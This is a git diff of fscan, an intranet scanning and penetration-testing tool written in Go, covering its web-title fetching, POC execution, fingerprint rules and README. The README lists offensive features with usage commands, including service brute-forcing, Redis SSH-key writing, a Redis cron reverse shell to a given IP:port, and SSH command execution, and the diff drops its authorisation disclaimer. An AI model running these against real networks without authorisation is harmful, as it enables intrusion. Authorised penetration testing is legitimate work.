+		res.Header.Add("Accept-Encoding", "gzip, deflate")
+		if flag == true {
+			res.Header.Add("Cookie", "rememberMe=1")
+		}
+		res.Header.Add("Connection", "close")
+		resp, err := client.Do(res)
 		if err == nil {
-			Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
-		} else {
-			Url += "/favicon.ico"
-		}
-	}
-	req, err := http.NewRequest("GET", Url, nil)
-	if err != nil {
-		return err, "", CheckData
-	}
-	req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
-	req.Header.Set("Accept", "*/*")
-	req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
-	if common.Pocinfo.Cookie != "" {
-		req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
-	} else {
-		req.Header.Set("Cookie", "rememberMe=1")
-	}
-	req.Header.Set("Connection", "close")
-	var client *http.Client
-	if flag == 1 {
-		client = lib.ClientNoRedirect
-	} else {
-		client = lib.Client
-	}
-
-	resp, err := client.Do(req)
-	if err != nil {
-		return err, "https", CheckData
-	}
-
-	defer resp.Body.Close()
-	var title string
-	body, err := getRespBody(resp)
-	if err != nil {
-		return err, "https", CheckData
-	}
-	if !utf8.Valid(body) {
-		body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
-	}
-	CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
-	var reurl string
-	if flag != 2 {
-		title = gettitle(body)
-		length := resp.Header.Get("Content-Length")
-		if length == "" {
-			length = fmt.Sprintf("%v", len(body))
-		}
-		redirURL, err1 := resp.Location()
-		if err1 == nil {
-			reurl = redirURL.String()
-		}
-		result := fmt.Sprintf("[*] WebTitle:%-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
-		if reurl != "" {
-			result += fmt.Sprintf(" 跳转url: %s", reurl)
-		}
-		common.LogSuccess(result)
-	}
-	if reurl != "" {
-		return nil, reurl, CheckData
-	}
-	if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
-		return nil, "https", CheckData
-	}
-	return nil, "", CheckData
-}
-
-func getRespBody(oResp *http.Response) ([]byte, error) {
-	var body []byte
-	if oResp.Header.Get("Content-Encoding") == "gzip" {
-		gr, err := gzip.NewReader(oResp.Body)
-		if err != nil {
-			return nil, err
-		}
-		defer gr.Close()
-		for {
-			buf := make([]byte, 1024)
-			n, err := gr.Read(buf)
-			if err != nil && err != io.EOF {
-				return nil, err
+			defer resp.Body.Close()
+			var title string
+			body, _ := ioutil.ReadAll(resp.Body)
+			re := regexp.MustCompile("<title>(.*)</title>")
+			find := re.FindAllStringSubmatch(string(body), -1)
+			if len(find) > 0 {
+				title = find[0][1]
+				if len(title) > 100 {
+					title = title[:100]
+				}
+			} else {
+				title = "None"
 			}
-			if n == 0 {
-				break
+			if flag == true {
+				result = fmt.Sprintf("WebTitle:%-25v %-3v %v", Url, resp.StatusCode, title)
+				common.LogSuccess(result)
 			}
-			body = append(body, buf...)
+
+			CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
+
+			if resp.StatusCode == 400 && info.Url[:5] != "https" {
+				info.Url = strings.Replace(info.Url, "http://", "https://", 1)
+				return err, "https"
+			}
+			return err, result
 		}
-	} else {
-		raw, err := ioutil.ReadAll(oResp.Body)
-		if err != nil {
-			return nil, err
-		}
-		body = raw
+		return err, ""
 	}
-	return body, nil
-}
-
-func gettitle(body []byte) (title string) {
-	re := regexp.MustCompile("(?ims)<title>(.*)</title>")
-	find := re.FindSubmatch(body)
-	if len(find) > 1 {
-		title = string(find[1])
-		title = strings.TrimSpace(title)
-		title = strings.Replace(title, "\n", "", -1)
-		title = strings.Replace(title, "\r", "", -1)
-		title = strings.Replace(title, "&nbsp;", " ", -1)
-		if len(title) > 100 {
-			title = title[:100]
-		}
-	}
-	if title == "" {
-		title = "None"
-	}
-	return
-}
-
-func GetProtocol(host string, Timeout int64) (protocol string) {
-	protocol = "http"
-	//如果端口是80或443,跳过Protocol判断
-	if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
-		return
-	} else if strings.HasSuffix(host, ":443") {
-		protocol = "https"
-		return
-	}
-
-	conn, err := tls.DialWithDialer(&net.Dialer{Timeout: time.Duration(Timeout) * time.Second}, "tcp", host, &tls.Config{InsecureSkipVerify: true})
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
-
-	if err == nil || strings.Contains(err.Error(), "handshake failure") {
-		protocol = "https"
-	}
-	return protocol
+	return err, ""
 }
--- a/README.md
+++ b/README.md
@@ -1,134 +1,100 @@
 # fscan

 # 简介
-一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。   
-支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
+一款内网扫描工具，方便一键大保健。    
+支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息、web漏洞扫描等。  
+趁着最近有空，用go把f-scrack重构了一遍。使用go来编写，也有更好的扩展性及兼容性。  
+还在逐步增加功能，欢迎各位师傅提意见。

-## 主要功能
-1.信息搜集:
-* 存活探测(icmp)
-* 端口扫描

-2.爆破功能:
-* 各类服务爆破(ssh、smb、rdp等)
-* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)  
+## why
+为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan  

-3.系统信息、漏洞扫描:  
-* netbios探测、域控识别  
-* 获取目标网卡信息
-* 高危漏洞扫描(ms17010等)  
+答：  
+   因为用习惯了f-scrack，习惯一条命令跑完所有模块，省去一个个模块单独调用的时间，当然我附加了-m 指定模块的功能。

-4.Web探测功能:
-* webtitle探测
-* web指纹识别(常见cms、oa框架等)
-* web漏洞扫描(weblogic、st2等,支持xray的poc)
-
-5.漏洞利用:
-* redis写公钥或写计划任务
-* ssh命令执行
-
-6.其他功能:
-* 文件保存
+## 最近更新
+[+] 2021/2/8 增加指纹识别功能,可识别尝试CMS、框架,如致远OA、通达OA等。  
+[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。   
+   修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度    
+[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试    
+[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)  
+[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。  
+[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。   
+[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。    
+[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段  
+[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理

 ## usege
 简单用法
 ``` 
+go run main.go -h 192.168.1.1/24
 fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
-fscan.exe -h 192.168.1.1/16  (B段扫描)
-```
-
-其他用法
-```
-fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
-fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
+fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
 fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
 fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后，命令执行)
 fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
-fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
-fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
-fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
-fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
 fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
-fscan.exe -hf ip.txt  (以文件导入)
-fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
-fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
-fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
 ```
-编译命令
 ```
-go build -ldflags="-s -w " -trimpath
+-h 192.168.1.1/24 (C段)  
+-h 192.168.1.1/16 (B段)
+-h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
+-hf ip.txt  (以文件导入)
 ```

+
 完整参数
 ```
+  -Num int
+        poc rate (default 20)
  -c string
-        ssh命令执行
-  -cookie string
-        设置cookie
-  -debug int
-        多久没响应,就打印当前进度(default 60)
+        exec command (ssh)
  -domain string
-        smb爆破模块时,设置域名
+        smb domain
  -h string
-        目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
+        IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
  -hf string
-        读取文件中的目标
-  -hn string
-        扫描时,要跳过的ip: -hn 192.168.1.1/24
+        host file, -hs ip.txt
+  -it int
+        Icmp Threads nums (default 11000)
  -m string
-        设置扫描模式: -m ssh (default "all")
+        Select scan type ,as: -m ssh (default "all")
  -no
-        扫描结果不保存到文件中
-  -nobr
-        跳过sql、ftp、ssh等的密码爆破
+        not to save output log
  -nopoc
-        跳过web poc扫描
+        not to scan web vul
  -np
-        跳过存活探测
-  -num int
-        web poc 发包速率  (default 20)
+        not to ping
  -o string
-        扫描结果保存到哪 (default "result.txt")
+        Outputfile (default "result.txt")
  -p string
-        设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-  -pa string
-        新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-  -path string
-        fcgi、smb romote file path
+        Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,11211,27017")
  -ping
-        使用ping代替icmp进行存活探测
-  -pn string
-        扫描时要跳过的端口,as: -pn 445
+        using ping replace icmp
  -pocname string
-        指定web poc的模糊名字, -pocname weblogic
+        use the pocs these contain pocname, -pocname weblogic
  -proxy string
-        设置代理, -proxy http://127.0.0.1:8080
-  -user string
-        指定爆破时的用户名
-  -userf string
-        指定爆破时的用户名文件
+        set poc proxy, -proxy http://127.0.0.1:8080
  -pwd string
-        指定爆破时的密码
+        password
  -pwdf string
-        指定爆破时的密码文件
+        password file
  -rf string
-        指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
+        redis file to write sshkey file (as: -rf id_rsa.pub)
  -rs string
-        redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-  -silent
-        静默扫描,适合cs扫描时不回显
-  -sshkey string
-        ssh连接时,指定ssh私钥
+        redis shell to write cron file (as: -rs 192.168.1.1:6666)
  -t int
-        扫描线程 (default 600)
+        Thread nums (default 200)
  -time int
-        端口扫描超时时间 (default 3)
-  -u string
-        指定Url扫描
-  -uf string
-        指定Url文件扫描
+        Set timeout (default 3)
+  -user string
+        username
+  -userf string
+        username file
  -wt int
-        web访问超时时间 (default 5)
+        Set web timeout (default 3)
+
 ```

 ## 运行截图
@@ -138,7 +104,7 @@ go build -ldflags="-s -w " -trimpath

 ![](image/4.png)

-`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
+`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)`
 ![](image/2.png)

 `fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
@@ -147,68 +113,16 @@ go build -ldflags="-s -w " -trimpath
 `fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
 ![](image/2020-12-12-13-34-44.png)

-`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
-![](image/netbios.png)
+## 未来计划
+[*] 合理输出当前扫描进度  
+[*] 增加内网常见高危漏洞  
+[*] 增加高危web漏洞扫描  
+[*] 师傅们觉得有必要加的漏洞，也可以提issue  

-`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
-![](image/netbios1.png)

-`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
-![img.png](image/live.png)
 ## 参考链接
 https://github.com/Adminisme/ServerScan  
 https://github.com/netxfly/x-crack  
 https://github.com/hack2fun/Gscan  
 https://github.com/k8gege/LadonGo   
 https://github.com/jjf012/gopoc
-
-
-# 404StarLink 2.0 - Galaxy
-![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
-
-fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环，如果对fscan 有任何疑问又或是想要找小伙伴交流，可以参考星链计划的加群方式。
-
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
-
-
-## Star Chart
-[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
-
-## 免责声明
-
-本工具仅面向**合法授权**的企业安全建设行为，如您需要测试本工具的可用性，请自行搭建靶机环境。
-
-为避免被恶意使用，本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。
-
-在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
-
-如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。
-
-在安装并使用本工具前，请您**务必审慎阅读、充分理解各条款内容**，限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
-除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。
-
-## 最近更新
-[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程  
-[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito  
-[+] 2022/1/11 新增oracle密码爆破  
-[+] 2022/1/7  扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量.  
-[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)  
-[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞  
-[+] 2021/6/18 改善一下poc的机制，如果识别出指纹会根据指纹信息发送poc，如果没有识别到指纹才会把所有poc打一遍  
-[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接  
-[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码  
-[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等  
-[+] 2021/4/22 修改webtitle模块,加入gbk解码  
-[+] 2021/4/21 加入netbios探测、域控识别  
-[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描  
-[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml  
-[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。  
-[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。   
-修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度    
-[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试    
-[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)  
-[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。  
-[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。   
-[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。    
-[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段  
-[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理
--- a/WebScan/InfoScan.go
+++ b/WebScan/InfoScan.go
@@ -6,6 +6,7 @@ import (
 	"github.com/shadow1ng/fscan/WebScan/info"
 	"github.com/shadow1ng/fscan/common"
 	"regexp"
+	"strings"
 )

 type CheckDatas struct {
@@ -13,11 +14,11 @@ type CheckDatas struct {
 	Headers string
 }

-func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
+func InfoCheck(Url string, CheckData []CheckDatas) {
 	var matched bool
 	var infoname []string

-	for _, data := range *CheckData {
+	for _, data := range CheckData {
 		for _, rule := range info.RuleDatas {
 			if rule.Type == "code" {
 				matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
@@ -35,14 +36,12 @@ func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
 		}
 	}

-	infoname = removeDuplicateElement(infoname)
+	infostr := RemoveMore(infoname)

 	if len(infoname) > 0 {
-		result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infoname)
+		result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infostr)
 		common.LogSuccess(result)
-		return infoname
 	}
-	return []string{""}
 }

 func CalcMd5(Body []byte) (bool, string) {
@@ -56,14 +55,15 @@ func CalcMd5(Body []byte) (bool, string) {
 	return false, ""
 }

-func removeDuplicateElement(languages []string) []string {
-	result := make([]string, 0, len(languages))
-	temp := map[string]struct{}{}
-	for _, item := range languages {
-		if _, ok := temp[item]; !ok {
-			temp[item] = struct{}{}
-			result = append(result, item)
+func RemoveMore(a []string) (infostr string) {
+	var ret []string
+	for i := 0; i < len(a); i++ {
+		if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 {
+			continue
 		}
+		ret = append(ret, a[i])
 	}
-	return result
+	infostr = strings.ReplaceAll(fmt.Sprintf("%s ", ret), "[", "")
+	infostr = strings.ReplaceAll(infostr, "]", "")
+	return
 }
--- a/WebScan/WebScan.go
+++ b/WebScan/WebScan.go
@@ -6,93 +6,41 @@ import (
 	"github.com/shadow1ng/fscan/WebScan/lib"
 	"github.com/shadow1ng/fscan/common"
 	"net/http"
-	"os"
-	"path/filepath"
-	"strings"
-	"sync"
+	"time"
 )

 //go:embed pocs
 var Pocs embed.FS
-var once sync.Once
-var AllPocs []*lib.Poc

 func WebScan(info *common.HostInfo) {
-	once.Do(initpoc)
 	var pocinfo = common.Pocinfo
-	buf := strings.Split(info.Url, "/")
-	pocinfo.Target = strings.Join(buf[:3], "/")
-
-	if pocinfo.PocName != "" {
-		Execute(pocinfo)
-	} else {
-		for _, infostr := range info.Infostr {
-			pocinfo.PocName = lib.CheckInfoPoc(infostr)
-			Execute(pocinfo)
-		}
+	pocinfo.Target = info.Url
+	err := Execute(pocinfo)
+	if err != nil && common.LogErr {
+		fmt.Println(info.Url, err)
 	}
 }

-func Execute(PocInfo common.PocInfo) {
+func Execute(PocInfo common.PocInfo) error {
+	//PocInfo.Proxy = "http://127.0.0.1:8080"
+	err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
+	if err != nil {
+		return err
+	}
 	req, err := http.NewRequest("GET", PocInfo.Target, nil)
 	if err != nil {
-		errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
-		common.LogError(errlog)
-		return
+		return err
 	}
 	req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
 	if PocInfo.Cookie != "" {
 		req.Header.Set("Cookie", PocInfo.Cookie)
 	}
-	pocs := filterPoc(PocInfo.PocName)
-	lib.CheckMultiPoc(req, pocs, PocInfo.Num)
-}

-func initpoc() {
-	if common.PocPath == "" {
-		entries, err := Pocs.ReadDir("pocs")
-		if err != nil {
-			fmt.Printf("[-] init poc error: %v", err)
-			return
-		}
-		for _, one := range entries {
-			path := one.Name()
-			if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
-				if poc, _ := lib.LoadPoc(path, Pocs); poc != nil {
-					AllPocs = append(AllPocs, poc)
-				}
-			}
-		}
+	if PocInfo.PocName != "" {
+		lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
 	} else {
-		err := filepath.Walk(common.PocPath,
-			func(path string, info os.FileInfo, err error) error {
-				if err != nil || info == nil {
-					return err
-				}
-				if !info.IsDir() {
-					if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
-						poc, _ := lib.LoadPocbyPath(path)
-						if poc != nil {
-							AllPocs = append(AllPocs, poc)
-						}
-					}
-				}
-				return nil
-			})
-		if err != nil {
-			fmt.Printf("[-] init poc error: %v", err)
-		}
+		lib.CheckMultiPoc(req, Pocs, PocInfo.Num, "")
 	}
-}

-func filterPoc(pocname string) (pocs []*lib.Poc) {
-	if pocname == "" {
-		return AllPocs
-	}
-	for _, poc := range AllPocs {
-		if strings.Contains(poc.Name, pocname) {
-			pocs = append(pocs, poc)
-		}
-	}
-	return
+	return nil
 }
--- a/WebScan/info/rules.go
+++ b/WebScan/info/rules.go
@@ -11,55 +11,12 @@ type Md5Data struct {
 	Md5Str string
 }

-type PocData struct {
-	Name  string
-	Alias string
-}
-
 var RuleDatas = []RuleData{
-	{"宝塔", "body", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
-	{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
-	{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
-	{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
-	{"绿盟防火墙", "code", "(NSFOCUS NF)"},
-	{"绿盟防火墙", "headers", "(NSFocus)"},
-	{"Topsec-Waf", "index", `(<META NAME="Copyright" CONTENT="Topsec Network Security Technology Co.,Ltd"/>","<META NAME="DESCRIPTION" CONTENT="Topsec web UI"/>)`},
-	{"Anquanbao", "headers", "(Anquanbao)"},
-	{"BaiduYunjiasu", "headers", "(yunjiasu)"},
-	{"BigIP", "headers", "(BigIP|BIGipServer)"},
-	{"BinarySEC", "headers", "(binarysec)"},
-	{"BlockDoS", "headers", "(BlockDos.net)"},
-	{"CloudFlare", "headers", "(cloudflare)"},
-	{"Cloudfront", "headers", "(cloudfront)"},
-	{"Comodo", "headers", "(Protected by COMODO)"},
-	{"IBM-DataPower", "headers", "(X-Backside-Transport)"},
-	{"DenyAll", "headers", "(sessioncookie=)"},
-	{"dotDefender", "headers", "(dotDefender)"},
-	{"Incapsula", "headers", "(X-CDN|Incapsula)"},
-	{"Jiasule", "headers", "(jsluid=)"},
-	{"KONA", "headers", "(AkamaiGHost)"},
-	{"ModSecurity", "headers", "(Mod_Security|NOYB)"},
-	{"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
-	{"Newdefend", "headers", "(newdefend)"},
-	{"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
-	{"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
-	{"Safedog", "headers", "(Safedog|WAF/2.0)"},
-	{"SonicWALL", "headers", "(SonicWALL)"},
-	{"Stingray", "headers", "(X-Mapping-)"},
-	{"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
-	{"Usp-Sec", "headers", "(Secure Entry Server)"},
-	{"Varnish", "headers", "(varnish)"},
-	{"Wallarm", "headers", "(wallarm)"},
-	{"阿里云", "code", "(errors.aliyun.com)"},
-	{"WebKnight", "headers", "(WebKnight)"},
-	{"Yundun", "headers", "(YUNDUN)"},
-	{"Yunsuo", "headers", "(yunsuo)"},
-	{"Coding pages", "header", "(Coding Pages)"},
-	{"启明防火墙", "body", "(/cgi-bin/webui?op=get_product_model)"},
 	{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
 	{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
 	{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
 	{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
+	{"宝塔-BT.cn", "code", "(app.bt.cn/static/app.png|安全入口校验失败)"},
 	{"Nexus", "code", "(Nexus Repository Manager)"},
 	{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
 	{"Harbor", "code", "(<title>Harbor</title>)"},
@@ -70,10 +27,10 @@ var RuleDatas = []RuleData{
 	{"协众OA", "cookie", "(CNOAOASESSID)"},
 	{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
 	{"atmail-WebMail", "cookie", "(atmail6)"},
-	{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
+	{"atmail-WebMail", "code", "(Powered by Atmail)"},
+	{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin)"},
 	{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
-	{"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
-	{"discuz", "code", "(content=\"Discuz! X\")"},
+	{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
 	{"Typecho", "code", "(Typecho</a>)"},
 	{"金蝶EAS", "code", "(easSessionId)"},
 	{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
@@ -92,7 +49,7 @@ var RuleDatas = []RuleData{
 	{"万户网络", "code", "(css/css_whir.css)"},
 	{"Spark_Master", "code", "(Spark Master at)"},
 	{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
-	{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
+	{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
 	{"深信服ssl-vpn", "code", "(login_psw.csp)"},
 	{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
 	{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
@@ -103,8 +60,7 @@ var RuleDatas = []RuleData{
 	{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
 	{"华为 MCU", "code", "(McuR5-min.js)"},
 	{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
-	{"泛微OA", "headers", "(ecology_JSessionid)"},
-	{"泛微OA", "code", "(/spa/portal/public/index.js)"},
+	{"泛微协同办公OA", "headers", "(ecology_JSessionid)"},
 	{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
 	{"360网站卫士", "code", "(360wzb)"},
 	{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
@@ -119,7 +75,8 @@ var RuleDatas = []RuleData{
 	{"H3C ICG1000", "code", "(ICG1000系统管理)"},
 	{"CISCO-CX20", "code", "(CISCO-CX20)"},
 	{"H3C ER5200", "code", "(ER5200系统管理)"},
-	{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
+	{"linksys-vpn-bragap14-parintins", "code",
+		"(linksys-vpn-bragap14-parintins)"},
 	{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
 	{"H3C ER3100", "code", "(ER3100系统管理)"},
 	{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
@@ -131,21 +88,22 @@ var RuleDatas = []RuleData{
 	{"exchange", "code", "(/owa/auth.owa)"},
 	{"Spark_Worker", "code", "(Spark Worker at)"},
 	{"H3C ER3108G", "code", "(ER3108G系统管理)"},
+	{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
 	{"Citrix-ConfProxy", "code", "(confproxy)"},
 	{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
 	{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
 	{"华为（HUAWEI）安全设备", "code", "(sweb-lib/resource/)"},
-	{"华为（HUAWEI）USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
 	{"H3C ER6300", "code", "(ER6300系统管理)"},
 	{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
